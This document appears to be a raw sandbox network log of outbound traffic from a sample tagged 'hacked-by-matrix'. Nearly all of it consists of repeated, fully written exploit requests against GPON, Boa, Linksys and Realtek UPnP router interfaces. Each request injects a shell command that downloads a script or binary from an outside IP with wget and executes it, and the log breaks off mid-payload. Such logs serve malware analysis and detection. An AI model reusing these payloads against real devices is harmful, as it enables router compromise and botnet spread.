Mar 21, 2024 05:22:20.516803980 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
423	192.168.2.13	59354	212.29.218.204	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:20.516812086 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
424	192.168.2.13	59460	42.154.32.247	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:20.516835928 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
425	192.168.2.13	60580	62.77.95.103	1723

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:20.604718924 CET	282	OUT	GET /boaform/admin/formPing?target_addr=;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27/&waninf=1_INTERNET_R_VID_154$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:22:21.677962065 CET	282	OUT	GET /boaform/admin/formPing?target_addr=;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27/&waninf=1_INTERNET_R_VID_154$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix

Session ID	Source IP	Source Port	Destination IP	Destination Port
426	192.168.2.13	43792	172.247.34.50	55555

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:21.233465910 CET	426	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 7a 65 6e 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+zen.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1
Mar 21, 2024 05:22:25.455323935 CET	426	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 7a 65 6e 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+zen.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1
Mar 21, 2024 05:22:31.596357107 CET	426	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 7a 65 6e 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+zen.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1
Mar 21, 2024 05:22:43.628381968 CET	426	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 7a 65 6e 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+zen.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1
Mar 21, 2024 05:23:08.204272985 CET	426	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 7a 65 6e 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+zen.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1

Session ID	Source IP	Source Port	Destination IP	Destination Port
427	192.168.2.13	52426	93.110.189.19	52869

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:22.772903919 CET	975	OUT	POST /picdesc.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6d 61 74 72 69 78 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 20 2d 4f 20 6d 61 74 72 69 78 3b 20 63 68 6d 6f 64 20 37 37 37 20 6d 61 74 72 69 78 3b 20 2e 2f 6d 61 74 72 69 78 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf matrix; wget http://109.205.214.35/matrixexp.sh -O matrix; chmod 777 matrix; ./matrix realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
Mar 21, 2024 05:22:23.596268892 CET	975	OUT	POST /picdesc.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6d 61 74 72 69 78 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 20 2d 4f 20 6d 61 74 72 69 78 3b 20 63 68 6d 6f 64 20 37 37 37 20 6d 61 74 72 69 78 3b 20 2e 2f 6d 61 74 72 69 78 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf matrix; wget http://109.205.214.35/matrixexp.sh -O matrix; chmod 777 matrix; ./matrix realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
Mar 21, 2024 05:22:25.196253061 CET	975	OUT	POST /picdesc.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6d 61 74 72 69 78 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 20 2d 4f 20 6d 61 74 72 69 78 3b 20 63 68 6d 6f 64 20 37 37 37 20 6d 61 74 72 69 78 3b 20 2e 2f 6d 61 74 72 69 78 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf matrix; wget http://109.205.214.35/matrixexp.sh -O matrix; chmod 777 matrix; ./matrix realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
Mar 21, 2024 05:22:28.525635958 CET	975	OUT	POST /picdesc.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6d 61 74 72 69 78 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 20 2d 4f 20 6d 61 74 72 69 78 3b 20 63 68 6d 6f 64 20 37 37 37 20 6d 61 74 72 69 78 3b 20 2e 2f 6d 61 74 72 69 78 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf matrix; wget http://109.205.214.35/matrixexp.sh -O matrix; chmod 777 matrix; ./matrix 